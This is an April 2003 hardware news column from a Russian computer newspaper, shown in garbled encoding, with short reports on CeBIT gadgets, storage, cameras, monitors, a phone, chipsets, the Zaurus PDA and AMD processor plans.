ÐÎÁÎÒ-ÊÓÐÈËÜÙÈÊ<br />

 Åêàòåðèíáóðãå îáúÿâèëñÿ ðîáîò-êóðèëüùèê. Ìåñòîì åãî ïðîïèñêè ñòàë ãîðîäñêîé<br />

Öåíòð ìåäèöèíñêîé ïðîôèëàêòèêè. Ðîáîò íàãëÿäíî äåìîíñòðèðóåò âðåä êóðåíèÿ, ðàòóÿ çà<br />

çäîðîâûé îáðàç æèçíè. Äûìÿùèé êàê ïàðîâîç àãðåãàò - çðåëèùå íå äëÿ ñëàáîíåðâíûõ. Âåäü<br />

ïî ìåðå òîãî, êàê òëååò ñèãàðåòà, â åãî ñèëèêîíîâûõ "ëåãêèõ" îñåäàþò ÿäîâèòûå ñìîëû.<br />

Ìåäïåðñîíàë íà ðîáîòà íå íàðàäóåòñÿ è óæå ëàñêîâî ïðîçâàë åãî Âàñåé.<br />

ÆÅËÅÇÍÛÉ ÐÎÌÀÐÈÎ<br />

Êîìïàíèÿ OWI-Robotkits Direct (www.robotikitsdirect.com) ïðåäñòàâèëà<br />

ìèíèàòþðíîãî ðîáîòà-ôóòáîëèñòà. Æåëåçíûé Ðîìàðèî ðîñòîì 13 ñàíòèìåòðîâ, îí<br />

çàïðîñòî äåìîíñòðèðóåò ôèíòû íà êðûøêå îáåäåííîãî ñòîëà. Äëÿ ýòîãî ó íåãî<br />

èìåþòñÿ 6 íîæåê, êàê ó æóêà, è ïðîñòåíüêèé ìåõàíèçì ïðèåìà è îòðàáîòêè ìÿ÷à.<br />

Ïðîâîäíîé êîíòðîëëåð ïîçâîëÿåò óïðàâëÿòü äâèæåíèÿìè ðîáîòà - âåñòè ìÿ÷. Soccer<br />

Jr. íà õîäó ìåíÿåò íàïðàâëåíèå äâèæåíèÿ è ïîêàçûâàåò ÷óäåñà ïîâîðîòîâ íà 360<br />

ãðàäóñîâ. Ñòîèìîñòü ðîáîòà â èíòåðíåò-ìàãàçèíå - 45 äîëëàðîâ.<br />

Ãëàâíîé ñåíñàöèåé âûñòàâêè CeBIT â ýòîì ãîäó ñòàë õàéòåê-äåâàéñ äëÿ âîñïðîèçâåäåíèÿ<br />

çâóêà ïðè ïîìîùè ëþáîé òâåðäîé è ïëîñêîé ïîâåðõíîñòè, êàêàÿ åñòü ïîä ðóêîé. Soundbug<br />

(www.soundbug.biz) ðàçìåðîì ñ êîìïüþòåðíóþ ìûøü ïîçâîëÿåò ñëóøàòü ìóçûêó áåç êîëîíîê è<br />

íàóøíèêîâ. Äëÿ ýòîãî "æó÷îê" ïîäñîåäèíÿåòñÿ ê ëþáîìó èñòî÷íèêó çâóêà è çàêðåïëÿåòñÿ íà<br />

ïîâåðõíîñòè ñòîëà èëè ñòåêëà. Ïîñëåäíèå â äàííîì ñëó÷àå èñïîëüçóþòñÿ â êà÷åñòâå ìåìáðàíû.<br />

Êàæäàÿ ïîâåðõíîñòü çâó÷èò ïî-ñâîåìó.  öåëîì, ÷åì áîëüøå ïëîùàäü è òîëùèíà, òåì âûøå<br />

êà÷åñòâî çâó÷àíèÿ. Äâà äåâàéñà, èñïîëüçóåìûå âìåñòå, äàþò ïîòðÿñíûé ñòåðåîçâóê. Íîâèíêà<br />

ïðîäàåòñÿ â èíòåðíåòå ïî öåíå 30 äîëëàðîâ.<br />

Èçðàèëüñêèå ñïåöñëóæáû ïðîâåëè ïåðâûå èñïûòàíèÿ áåñïèëîòíîãî ñàìîëåòà-ðàçâåä÷èêà ðàçìåðîì ñ âèçèòêó. Âåñ ìèíèàòþðíîãî ëåòàòåëüíîãî<br />

àïïàðàòà - îêîëî 100 ãðàììîâ. Íåñìîòðÿ íà èãðóøå÷íûå õàðàêòåðèñòèêè, íà ñàìîëåòå óñòàíîâëåíû ñàìûå ñîâðåìåííûå êàìåðû è ðåòðàíñëÿòîðû.<br />

Îíè â ðåàëüíîì âðåìåíè ïåðåäàþò ìàñøòàáèðóåìóþ êàðòèíêó çîíû áîåâûõ äåéñòâèé íà ýêðàí óäàëåííîãî êîìïüþòåðà êîìàíäíîãî ïóíêòà. Çà âðåìÿ<br />

àâòîíîìíîãî ïîëåòà äëèòåëüíîñòüþ äî 20 ìèíóò ñàìîëåò óñïåâàåò ñîîáùèòü áåñöåííûå ñâåäåíèÿ î ïðîòèâíèêå. Åùå îäíî ïðèìåíåíèå "ìóõè" -<br />

íåçàìåòíî çàëåòåòü â îêíî ïîìåùåíèÿ ñ çàëîæíèêàìè è ïåðåäàâàòü èíôîðìàöèþ î òîì, ÷òî íà ñàìîì äåëå ïðîèñõîäèò âíóòðè.<br />

Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


HardNews<br />

Nikitos (nikitos@real.xakep.ru)<br />

Ìîíñòð îò<br />

EZQuest<br />

Íà âûñòàâêå CeBit-2003, ïðîõîäÿùåé â<br />

Ãàííîâåðå, êîìïàíèÿ EzQuest ïðåäñòàâèëà<br />

îáùåñòâåííîñòè íîâûé âíåøíèé<br />

æåñòêèé äèñê Cobra+ FireWire 800, íà<br />

êîòîðîì ìîæåò áûòü ðàçìåùåíî äî 250<br />

ãèãàáàéò èíôîðìàöèè. Øïèíäåëü äèñ-<br />

êà âðàùàåòñÿ ñî ñêîðîñòüþ 7200<br />

îá/ìèí, ÷òî â ñî÷åòàíèè ñ 2-ìåãàáàéòîâûì<br />

êýøåì è íåáîëüøèì (8.9 ìñ) âðåìåíåì<br />

äîñòóïà, óêàçûâàåò íà âûñîêóþ<br />

ñêîðîñòü ðàáîòû õàðäà. Óñòðîéñòâî<br />

ïîëíîñòüþ ñîâìåñòèìî êàê ñ PC, òàê è<br />

ñ iMac, ïîääåðæèâàåòñÿ ðàáîòà ñî âñåì<br />

ñåìåéñòâîì Windows è Mac OS 8.*.<br />

Ïîëüçîâàòåëè *nix-ïîäîáíûõ ñèñòåì ïî<br />

äåôîëòó îáëàìûâàþòñÿ, õîòÿ, óâåðåí,<br />

çàñòàâèòü ýòó øòóêîâèíó ðàáîòàòü ïîä<br />

þíèõîì, ìîæíî.<br />

Âçàèìîäåéñòâèå ñ êîìïüþòåðîì îñóùåñòâëÿåòñÿ<br />

÷åðåç øèíó FireWire íîâîé<br />

âåðñèè 1394B. Çàÿâëåííàÿ â ñïåöèôèêàöèè<br />

ýòîé øèíû ñêîðîñòü ïåðåäà÷è<br />

äàííûõ ïðîèãðûâàåò USB 2.0, îäíàêî,<br />

ïî ðåçóëüòàòàì ðåàëüíûõ áîåâûõ òåñòîâ<br />

USB äàæå íåñêîëüêî îòñòàåò îò êîíêóðåíòà.<br />

Âïðî÷åì, êàê áû òî íè áûëî,<br />

óñòðîéñòâî ìîæíî çàïðîñòî ïîäöåïèòü<br />

è ê USB.<br />

Ïðè ïîìîùè ñòàíäàðòíûõ óòèëèò<br />

Windows 2000/XP èç íåñêîëüêèõ òàêèõ<br />

äèñêîâ ìîæåò áûòü ëåãêî îðãàíèçîâàí<br />

äîâîëüíî åìêèé è øóñòðûé äëÿ çàòðà-<br />

÷åííûõ äåíåã RAID-ìàññèâ.<br />

Ïî âåñó ýòî ÷óäî òåõíèêè ðàçìåðîì<br />

22*17*5.5 ñì. íåìíîãî íå äîòÿíóëî äî<br />

òðåõ êèëî.<br />

Âî ïèîíýðû<br />

ïîøëè!<br />

Íà ýòîé æå âûñòàâêå Pioneer Electronics<br />

ïðåäñòàâèëà ïðèâîä DVR-A06, ïðîäîëæàþùèé<br />

ñëàâíóþ ëèíåéêó DVD-ðåçà-<br />

 íîìåðå:<br />

Ìîíñòð îò EZQuest<br />

Öèôðîâóøêè îò Olympus<br />

Íîâàÿ ñåðèÿ äèñïëååâ îò Sony<br />

Íîâûé ÷èïñåò îò Sis<br />

êîâ. Îò ïðåäøåñòâåííèêà - DVR-A05 –<br />

ýòó ìîäåëü îòëè÷àåò ëèøü óâåëè÷åííàÿ<br />

ñ 16x äî 24x ñêîðîñòü çàïèñè îáûêíîâåííûõ<br />

CD-R áîëâàíîê, DVD-R äèñêè<br />

ðåæóòñÿ íà ñêîðîñòè 4x, ÷òî ïîçâîëÿåò<br />

çàêàòàòü ñòàíäàðòíóþ 4.7-ãèãàáàéòíóþ<br />

áîëâàíêó çà íåïîëíûå 15 ìèíóò. Ðàáîòà<br />

ñ DVD-RW äèñêàìè îñóùåñòâëÿåòñÿ â<br />

äâà ðàçà ìåäëåííåå.<br />

Ïî âñåé âèäèìîñòè, Ïèîíåðó ïðîñòî<br />

î÷åíü õîòåëîñü âûñòóïèòü íà Öåáèòå ñ<br />

÷åì-íèáóäü íîâåíüêèì, íî íè÷åãî êàðäèíàëüíîãî<br />

ïîïðîñòó íå óñïåëè ïîäãîòîâèòü.<br />

Íå áåäà, â êîíöå ýòîãî ãîäà<br />

îæèäàåòñÿ âûõîä ñëåäóþùåé âåðñèè<br />

ðåçàêà, êîòîðàÿ, ïî çàÿâëåíèÿì ïðåäñòàâèòåëåé<br />

Ïèîíåðà, áóäåò ðåçàòü äèâèäþêè<br />

â äâà ðàçà áûñòðåå.<br />

Öèôðîâóøêè îò<br />

Olympus<br />

Íåáåçûçâåñòíàÿ êîìïàíèÿ Olympus âûïóñòèëà<br />

íåäàâíî òðè öèôðîâûå êàìåðû,<br />

îòëè÷àþùèåñÿ îò ïðåäøåñòâåííèêîâ<br />

áîëåå ðàçóìíîé ñòîèìîñòüþ è êîìïàêòíûìè<br />

ðàçìåðàìè. Ñîâìåñòèòü ïðèÿòíîå<br />

ñ ïîëåçíûì îëèìïóñîâöàì óäàëîñü<br />

ñ ïåðåõîäîì íà íîâûé ñòàíäàðò<br />

êàðò ïàìÿòè xD-Picture (Olympus âñåãäà<br />

áûë ïðèâåðæåíöåì SmartMedia). Ñàìîé<br />

ñêðîìíîé ïðåäñòàâèòåëüíèöåé âûïóùåííîé<br />

òðîéêè ñòàëà 2-ìåãàïèêñåëüíàÿ<br />

C-150, ïðåäñòàâëÿþùàÿ ñîáîé íè<br />

÷òî èíîå, êàê ìîäåðíèçèðîâàííóþ âåðñèþ<br />

C-120. C-150 çàìåòíî ïîìåíüøå<br />

ñâîåãî ïðåäêà, äà è îáîéäåòñÿ ïîêóïàòåëþ<br />

ñîâñåì íåäîðîãî - âñåãî $220.<br />

Ïðîèçâîäèòåëþ óäàëîñü çàñóíóòü â ýòó<br />

ìàëûøêó (â öåíîâîì ïëàíå, ïðåæäå<br />

âñåãî) íå òîëüêî ñòàíäàðòíûé íàáîð<br />

ôîòî-ôóíêöèé, íî è âîçìîæíîñòü çàïèñè<br />

êîðîòêèõ âèäåîðîëèêîâ â ôîðìàòå<br />

MPEG.<br />

3.5-ìåãàïèêñåëüíàÿ C-350 Zoom – ìîäåëü<br />

ïîñåðüåçíåå, íî âñå ðàâíî îðèåí-<br />

òèðîâàíà íà äîìàøíåãî ïîëüçîâàòåëÿ<br />

(êàê, âïðî÷åì, è âñÿ ñåðèÿ ýòèõ àïïàðàòîâ).<br />

Îáëàäàþùàÿ òðåõêðàòíûì çóìîì<br />

êàìåðà îáîéäåòñÿ ïîêóïàòåëþ â $400.<br />

Ïîñëåäíÿÿ èç ïðåäñòàâëåííûõ ìîäåëåé,<br />

C-750 Ultra Zoom – ìîäèôèöèðîâàííàÿ<br />

âåðñèÿ C-730 – îáëàäàåò 4-ìåãàïèêñåëüíîé<br />

ìàòðèöåé è îïòèêîé, ïîçâîëÿþùåé<br />

óâåëè÷èâàòü èçîáðàæåíèå â<br />

10 ðàç. Êàê ÿ îòìåòèë âûøå, âñå êàìåðû<br />

ðàáîòàþò ñ êàðòàìè äîâîëüíî ïåðñïåêòèâíîãî<br />

ñòàíäàðòà xD. Êðîìå Îëèìïóñà<br />

íîâèíêó ïðîäâèãàåò òîëüêî Ôóäæè,<br />

à çðÿ – ïî çàâåðåíèÿì ýêñïåðòîâ<br />

òåîðåòè÷åñêè òåõíîëîãèÿ ìîæåò áûòü<br />

èñïîëüçîâàíà äëÿ ñîçäàíèÿ êàðòî÷åê<br />

åìêîñòüþ äî âîñüìè ãèãàáàéò! Íåñëàáî,<br />

äà? :)<br />

Ñìåðòü<br />

êóëåðàì?<br />

Êîìïàíèÿ Hush Technologies íåäàâíî<br />

ïðåäñòàâèëà íà ñóä îáùåñòâåííîñòè<br />

ñâîþ íîâóþ ðàçðàáîòêó - êîìïüþòåð<br />

Silent Mini-ITX. Åãî îòëè÷èòåëüíàÿ<br />

îñîáåííîñòü çàêëþ÷àåòñÿ â òîì, ÷òî<br />

ïðè ñáîðêå íå áûëî èñïîëüçîâàíî íè<br />

îäíîãî êóëåðà, è, êàê ñëåäñòâèå, âî<br />

âðåìÿ ðàáîòû êîìï íå èçäàåò ïî÷òè<br />

íèêàêèõ çâóêîâ. Êàêèì îáðàçîì èíæåíåðû<br />

ðåøèëè ïðîáëåìó ïåðåãðåâà?<br />

Ïî ñòàðèíêå – òåïëî îò ïðîöåññîðà,<br />

ÁÏ, ÷èïà âèäåîêàðòû è ïðî÷èõ<br />

ãðåþùèõñÿ ÷àñòåé êîìïüþòåðà îòâî-<br />

äèòñÿ íà îãðîìíûé ðàäèàòîð, êîòîðûé<br />

ïðåäñòàâëÿþò ñîáîé áîêîâûå<br />

ñòåíêè êîðïóñà. Ïîëíîñòüþ èçáàâèòüñÿ<br />

îò øóìà ïðîèçâîäèòåëÿì âñå<br />

æå íå óäàëîñü – ðàáîòà ñ CD-ROM<br />

ñîïðîâîæäàåòñÿ õàðàêòåðíûìè çâóêàìè.<br />

Íî, êîíå÷íî, èõ óæå íåëüçÿ<br />

ñðàâíèòü ñ ðåâîì ïÿòè êóëåðîâ – â<br />

ñîâðåìåííûõ ñèñòåìàõ è òàêîå íå<br />

ðåäêîñòü :).<br />

ÀÏÐÅËÜ<br />

2003<br />

¹52<br />

ÁÅÑÏËÀÒÍÀß ÅÆÅÌÅÑÅ×ÍÀß ÃÀÇÅÒÀ<br />

N E W S<br />

Silent Mini-ITX ñîáðàí íà áàçå ìàòåðèíñêîé<br />

ïëàòû íîâîãî ôîðìàòà Mini-ITX,<br />

ñïåöèôèöèðîâàííîãî â ïðîøëîì ãîäó<br />

êîìïàíèåé VIA.<br />

Êâàäðàò ìàòåðèíñêîé ïëàòû (åå ðàçìåðû<br />

– 17*17 ñì) áåç òðóäà ðàçìåñòèëñÿ<br />

â êîðïóñå, ãàáàðèòû êîòîðîãî òàêæå<br />

óäèâèëè – 37õ34õ5.9 ñì. Â ýòó ìàëûøêó<br />

ìàíüÿêè-ïðîèçâîäèòåëè âñòðîèëè êî<br />

âñåìó ïðî÷åìó îäèí CD/DVD-ïðèâîä,<br />

îäèí æåñòêèé äèñê è PCI-êàðòó.<br />

Ïðåäñòàâëåííûé àãðåãàò âûãëÿäèò äîâîëüíî<br />

ýëåãàíòíî, è óçíàòü â íåì<br />

êîìïüþòåð ñìîæåò äàëåêî íå êàæäûé –<br />

áîëüøå îí ïîõîæ íà ìàëåíüêóþ êðàñèâóþ<br />

áàòàðåéêó îòîïëåíèÿ (êñòàòè ãðååò,<br />

íàâåðíîå, íåïëîõî:)). Íîâèíêà, ïî âñåé<br />

âèäèìîñòè, ïðèäåòñÿ ïîêóïàòåëþ ïî<br />

âêóñó – òåì áîëåå, ÷òî ïðåäîñòàâëÿþòñÿ<br />

ðàçëè÷íûå âàðèàíòû ðàñöâåòêè êîðïóñà.<br />

Ñòîèìîñòü ýòîãî ÷óäà òåõíèêè ïîêà<br />

äåðæèòñÿ â ñåêðåòå, íåñìîòðÿ íà òî,<br />

÷òî ñêîðî êîìï ïîñòóïàåò â ïðîäàæó.<br />

Íîâàÿ ñåðèÿ<br />

äèñïëååâ îò<br />

Sony<br />

Sony âûïóñòèëà íîâóþ ñåðèþ ÆÊ-ìîíèòîðîâ,<br />

îðèåíòèðîâàííûõ íà äîìàøíåãî<br />

ïîëüçîâàòåëÿ è ðàáîòó â îôèñå. Îò<br />

ïðåäøåñòâåííèêîâ ìîíèòîðû ýòîé ñåðèè<br />

îòëè÷àþòñÿ áîëåå ÿðêèì, ÷åòêèì è<br />

êà÷åñòâåííûì èçîáðàæåíèåì. Áëàãîäàðÿ<br />

îòëè÷íûì ïîêàçàòåëÿì ÿðêîñòè (260<br />

êä/ì2), êîýôôèöèåíòàì êîíòðàñòíîñòè<br />

(äî 600:1) è ïðèìåíÿåìîé òåõíîëîãèè<br />

àâòîìàòè÷åñêîé ãàììà-êîððåêöèè è<br />

öèôðîâîãî ñãëàæèâàíèÿ, êàðòèíêà íà<br />

ýêðàíå âûãëÿäèò ìàêñèìàëüíî ÷åòêî è<br />

ðåàëèñòè÷íî. Ïðè ýòîì èíæåíåðàì<br />

óäàëîñü äîáèòüñÿ îòëè÷íîãî ïîêàçàòåëÿ<br />

ñêîðîñòè ðåàêöèè ìàòðèöû, ÷òî ïîçâîëèëî<br />

äîñòè÷ü äåéñòâèòåëüíî êëàññíîãî<br />

êà÷åñòâà èçîáðàæåíèÿ ïðè âîñïðîèçâåäåíèè<br />

äâèæóùèõñÿ îáúåêòîâ –<br />

õàðàêòåðíûé ýôôåêò “çàìàçûâàíèÿ”<br />

çäåñü îòñóòñòâóåò.<br />

Ïðåäñòàâëåííàÿ ëèíåéêà âêëþ÷àåò òðè<br />

ìîíèòîðà: – 15” (HS53), 17” (HS73) è<br />

19”(HS93). Ïÿòíàøêà ïîääåðæèâàåò<br />

ìàêñèìàëüíîå ðàçðåøåíèå ýêðàíà<br />

1024x768, HS73 è 93 îòîáðàæàþò êàðòèíêó<br />

ñ ðàçðåøåíèåì äî 1280x1024.<br />

Îñîáåííî ïîäêóïèë âíåøíèé âèä ìîíèòîðîâ<br />

– äóãîîáðàçíàÿ ïîäñòàâêà äîáàâèëà<br />

“õàéòå÷íîñòè” ýëåãàíòíûì,<br />

1 2 3 4<br />

8 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ñòðîãèì, íî âìåñòå ñ òåì áåçàëàáåðíûì<br />

ëèíèÿì :).<br />

Óñòðîéñòâà äîâîëüíî êîìïàêòíû (âïðî-<br />

÷åì, ýòèì ñåé÷àñ íèêîãî óæå íå óäèâèøü).<br />

Òàêæå Sony ïðîäâèãàåò â ýòîé ñåðèè<br />

íîâóþ ôèøêó – òàê íàçûâàåìûé “ECOðåæèì”,<br />

ïîçâîëÿþùèé ïðîäëèòü ñðîê<br />

ñëóæáû ìîíèòîðîâ è ñíèçèòü ýíåðãîïîòðåáëåíèå.<br />

Êðîìå òîãî, ïî çàâåðåíèÿì<br />

ïðåäñòàâèòåëåé Sony, ýòè ìîíèòîðû<br />

îòëè÷íî ïîääàþòñÿ âòîðè÷íîé îáðàáîòêå<br />

è ïðè ýòîì íå âðåäÿò îêðóæàþùåé<br />

ñðåäå, òàê ÷òî åñëè âäðóã ðåøèøü ñäàòü<br />

òàêîé ìîíèòîð âî âòîðñûðüå – íå ñòåñíÿéñÿ<br />

:). Óñòðîéñòâà ïîñòóïÿò â ïðîäàæó<br />

â àïðåëå-ìàå.<br />

Ìóëüòèìåäèéíàÿ<br />

ñîïëÿ<br />

Ôðàíöóçñêàÿ êîìïàíèÿ Sagem âûïóñòèëà<br />

íîâóþ ìîáèëó ñ øèðîêèìè ìóëüòèìåäèà-âîçìîæíîñòÿìè.<br />

Òðóáêà èìååò<br />

êëàññè÷åñêóþ ïðÿìîóãîëüíóþ ôîðìó,<br />

âåñüìà êîìïàêòíûå ðàçìåðû è îáîðóäîâàíà<br />

âñòðîåííîé ôîòîêàìåðîé, ðàäîì ñ<br />

îáúåêòèâîì êîòîðîé íàõîäèòñÿ ñïåöè-<br />

àëüíîå çåðêàëüöå, îáëåã÷àþùåå ñîçäàíèå<br />

àâòîïîðòðåòîâ. Êàìåðà îñíàùåíà<br />

CCD-ìàòðèöåé ñ ðàçðåøåíèåì 640x480<br />

è ìîæåò ñîõðàíÿòü èçîáðàæåíèÿ â ñëåäóþùèõ<br />

ôîðìàòàõ: BMP, JPEG, PNG,<br />

GIF, animated GIF. Áëàãîäàðÿ âñòðîåííîìó<br />

GPRS-ìîäåìó ìîæíî áåç ïðîáëåì<br />

îòïðàâëÿòü ýëåêòðîííûå ñîîáùåíèÿ ñ<br />

ïðèàòòà÷åííûìè ôîòêàìè. Îñíîâíûå<br />

ñïåöèôèêàöèè Sagem MyX-6:<br />

ýêðàí TFT-LCD ðàçìåðîì 32õ40 ìì è<br />

ðàçðåøåíèåì 128õ160 òî÷åê (12 ñòðîê<br />

òåêñòà)<br />

GPRS êëàññà 10, ìàêñèìàëüíàÿ ñêðîñòü<br />

âõîäÿùåé ïåðåäà÷è - 57,6 êáèò/ñ<br />

èíôðàêðàñíûé ïîðò IrDA<br />

WAP 1.2.1<br />

SMS, EMS 5.0, MMS<br />

ñèñòåìà áûñòðîãî ââîäà òåêñòà T9<br />

30 ìåëîäèé çâîíêà<br />

äèêòîôîí<br />

âñòðîåííûå èãðû<br />

êîíâåðòåð âàëþò, êàëüêóëÿòîð, áóäèëüíèê,<br />

òàéìåð<br />

áàòàðåÿ èîííî-ëèòèåâàÿ íà 1050 ìÀ*÷<br />

âðåìÿ ðàáîòû â ðåæèìå ðàçãîâîðà 4,5<br />

÷, â ðåæèìå îæèäàíèÿ äî 300 ÷<br />

ðàçìåðû 110õ46õ 22<br />

âåñ ñ áàòàðååé 106 ã<br />

êîðïóñ ñî ñìåííûìè ïàíåëÿìè<br />

 ïðîäàæó íîâèêà ïîñòóïèò â ìàå ïî öåíå<br />

îêîëî 400 åâðî.<br />

Íîâûé ÷èïñåò<br />

îò Sis<br />

Íåáåçûçâåñòíàÿ êîìïàíèÿ Sis ïðåäñòàâèëà<br />

íîâûé ÷èïñåò äëÿ ïëàòôîðìû AMD<br />

K7, ïîääåðæèâàþùèé 400-ìåãàãåðöîâóþ<br />

ñèñòåìíóþ øèíó – â êà÷åñòâå ñåâåðíîãî<br />

ìîñòà âûñòóïàåò ÷èï Sis748, þæíûé<br />

ïðåäñòàâëÿåò ñîáîé ìèêðîñõåìó Sis963L.<br />

Ñâÿçü ìåæäó ÷èïàìè îñóùåñòâëÿåòñÿ<br />

ïðè ïîìîùè 16-ðàçðÿäíîé øèíû MuTIOL<br />

ñ ÷àñòîòîé 533 ÌÃö. Âûïóùåííûé ÷èïñåò<br />

ïîääåðæèâàåò USB 2.0/2.1, 5.1 AC97 çâóê<br />

è 10/100 mbps Ethernet.<br />

Ìèêðîñõåìû òàêæå ïîääåðæèâàþò íîâóþ<br />

ïàìÿòü DDR400; âèäèìî, ýòîò<br />

÷èïñåò íàïðÿìóþ îðèåíòèðîâàí íà ãîòîâÿùóþñÿ<br />

ê âûïóñêó ëèíåéêó ïðîöåññîðîâ<br />

Athlon ñ ÿäðîì Barton, ðàáîòàþùèõ<br />

íà 400-ìåãàãåðöîâîé øèíå –<br />

AMD îáåùàåò ïðåäñòàâèòü ýòè êàìíè<br />

â êîíöå àïðåëÿ. Òîãäà æå VIA îáåùàëà<br />

âûïóñòèòü ÷èïñåò KT600 – õîòÿ òîðîïèòüñÿ<br />

ñ íèì êîìïàíèè òîæå íå ñëåäîâàëî<br />

áû – âåäü ýòèì îíè çäîðîâî ñíèçÿò<br />

ïðîäàæè ïëàò íà áàçå ïðåäñòàâëåííîãî<br />

íåäàâíî VIA KT400A, êîìó<br />

íóæíû ïëàòû íà ÷èïñåòå, êîòîðûé óæå<br />

÷åðåç ìåñÿö áóäåò “ñòàðüåì”? :)<br />

Ïèíãâèíèé ÊÏÊ<br />

Êîìïàíèÿ Sharp Electronics àíîíñèðîâàëà<br />

íåäàâíî ìîäåðíèçèðîâàííóþ<br />

âåðñèþ ñâîåãî ÊÏÊ SL-5500 - Zaurus<br />

SL-5600. Êîìïüþòåð îñíàùåí öâåòíûì<br />

ÆÊ-äèñïëååì, âñòðîåííîé 37keys<br />

êëàâîé, ïðîöåññîðîì Xscale PXA-<br />

250 400 mghz îò Intel, 64 mb <strong>fl</strong>ash- è<br />

32 ìá SDRAM-ïàìÿòüþ. Îò ïðåäøåñòâåííèêà<br />

ðàññìàòðèâàåìóþ ìîäåëü îòëè÷àåò<br />

òàêæå áîëåå åìêèé ëèòèé-èîííûé<br />

àêêóìóëÿòîð åìêîñòüþ 1700 ìÀ –<br />

ñàìàÿ ìîùíàÿ áàòàðåéêà äëÿ ÊÏÊ íà<br />

ñåãîäíÿøíèé äåíü. Îñíîâíàÿ ôèøêà<br />

óñòðîéñòâà çàêëþ÷àåòñÿ â èñïîëüçóåìîé<br />

ÎÑ, ýòî ñïåöèàëüíûé Linux -<br />

Lineo Embeddix íà ÿäðå 2.4.18. Ñàìà<br />

ÎÑ è âñå óñòàíîâëåííûå ïðèëîæåíèÿ<br />

ñæàòû ïî ñïåöèàëüíîìó àëãîðèòìó,<br />

÷òîáû ïðåäîñòàâèòü ïîëüçîâàòåëþ<br />

êàê ìîæíî áîëüøå ñâîáîäíîãî ìåñòà.<br />

Ïðàâäà òåõíîëîãèÿ ñæàòèÿ äàííûõ â<br />

ÎÇÓ äîâîëüíî ïàãóáíî ñêàçûâàåòñÿ íà<br />

ïðîèçâîäèòåëüíîñòè ñèñòåìû – âåäü<br />

ïðåæäå ÷åì îñóùåñòâèòü äîñòóï ê êàêèì-ëèáî<br />

äàííûì, èõ ñïåðâà íàäî äåêîìïðåññèðîâàòü.<br />

Íî ýòà ïðîáëåìà<br />

ðåøåíà èñïîëüçîâàíèåì ìîùíîãî<br />

ïðîöåññîðà, òàê ÷òî ïîëüçîâàòåëþ<br />

äîñòóïíî îêîëî 32 “íåñæàòûõ” ìåãàáàéò<br />

– ðåàëüíî âîçìîæíûé îáúåì<br />

õðàíèìûõ äàííûõ, êîíå÷íî, ïðÿìî çàâèñèò<br />

îò èõ îðãàíèçàöèè – îí ìîæåò â<br />

ðàçû ïðåâîñõîäèòü ýòè 32 Ìá äëÿ<br />

òåêñòà è ñóùåñòâåííî íå ìåíÿòüñÿ<br />

äëÿ ñæàòîãî âèäåî èëè çâóêà.<br />

Zaurus SL-5600 ïðîäàåòñÿ ñ ïîëíûì<br />

êîìïëåêòîì íåîáõîäèìîãî ÏÎ, âìåñòå<br />

ñ óñòðîéñòâîì ïîêóïàòåëü ïîëó÷èò<br />

Personal Information Management, â êîòîðûé<br />

âõîäÿò àäðåñíàÿ êíèãà, êàëåíäàðü,<br />

êàëüêóëÿòîð, òåêñòîâûé ðåäàêòîð,<br />

îðãàíàéçåð, çâóêîçàïèñûâàþùèé ñîôò,<br />

÷àñû ñ òàéìåðîì è ïðîãðàììà äëÿ ðàáîòû<br />

ñ Microsoft Outlook è Palm Desktop.<br />

Äëÿ ðàáîòû ñ World Wide Web èñïîëüçóåòñÿ<br />

Opera 6, ïîääåðæêà Flash è PDF<br />

ïîÿâëÿåòñÿ ïîñëå óñòàíîâêè ñîîòâåòñòâóþùèõ<br />

ïëàãèíîâ. Êðîìå òîãî, â ïîñòàâêó<br />

Zaurus âêëþ÷åíà Jeode Java Virtual<br />

Machine, îáåñïå÷èâàþùàÿ ïîääåðæêó<br />

Oper’îé PersonalJava è Java 1.2. Ñòîèòü<br />

íîâèíêà áóäåò îêîëî $450.


HardNews<br />

Nikitos (nikitos@real.xakep.ru)<br />

Gigaìàòü<br />

Êîìïàíèÿ Gigabyte Technology íà÷àëà ïîñòàâêè<br />

ïðåäñòàâëåííîé íåäàâíî ñèñòåìíîé ïëàòû VIA GA-<br />

7VAXP-A Ultra ïîä ïëàòôîðìó AMD K7. Ýòîé ìàòåðüþ<br />

Ãèãàáàéò îòêðûë íîâóþ ëèíåéêó K7 Triton, â ðàìêàõ êîòîðîé<br />

íàìåðåí âûïóñêàòü äîñòóïíûå è ïðîèçâîäèòåëüíûå<br />

ïëàòû íà ÷èïñåòàõ ôèðìû VIA ïîä ïðîöåññîðû<br />

AMD.<br />

Îñíîâíûå ñïåöèôèêàöèè ïëàòû:<br />

×èïñåò: VIA KT400A+VIA VT8235<br />

Ïîääåðæêà ïðîöåññîðîâ AMD Athlon XP ñ FSB 333<br />

ÌÃö, â òîì ÷èñëå ñ íîâûì ÿäðîì Barton<br />

Ïîääåðæêà ïàìÿòè DDR 400<br />

Ñëîòû AGP 8x/4õ, 5õ PCI<br />

Èíòåðôåéñ Serial ATA<br />

RAID: ÷èï Promise, IDE RAID óðîâíåé 0, 1<br />

5.1 çâóê íà áàçå êîäåêà AC97<br />

Øåñòü ïîðòîâ USB 2.0, òðè ïîðòà IEEE 1394<br />

Èíòåðôåéñ 10/100Mb LAN<br />

DualBIOS<br />

Óëó÷øåííàÿ çàùèòà ïðîöåññîðà<br />

îò ïåðåãðåâà<br />

Ïîääåðæêà âîçìîæíîñòåé<br />

îâåðêëîêèíãà (ðó÷íàÿ<br />

óñòàíîâêà ÷àñòîòû<br />

FSB, íàïðÿæåíèÿ ïèòàíèÿ<br />

ïðîöåññîðà è ò.ä.)<br />

Óòèëèòû Easytune 4, Q-<br />

Flash, @BIOS<br />

Ïëàíû AMD<br />

ßïîíñêèå ñàéòû îïóáëèêîâàëè íåäàâíî èíôîðìàöèþ<br />

(ïîêà íå ïîäòâåðæäåííóþ îôèöèàëüíûìè ëèöàìè)<br />

î ïåðñïåêòèâàõ ðàçâèòèÿ è ïîÿâëåíèÿ íîâûõ ëèíååê<br />

ïðîöåññîðîâ îò AMD.<br />

 ñàìîå áëèæàéøåå âðåìÿ íà ðûíêå ïîÿâÿòñÿ ïðîöåññîðû,<br />

ðàáîòàþùèå íà 400-ìãö ñèñòåìíîé øèíå – îíè<br />

áóäóò ôóíêöèîíèðîâàòü íà ÿäðå Barton. Ðåéòèíã ïåðâîãî<br />

òàêîãî ïðîöåññîðà, î÷åâèäíî, áóäåò 3200+, ðåàëüíàÿ<br />

÷àñòîòà êðèñòàëëà ñîñòàâèò 2200 ÌÃö.<br />

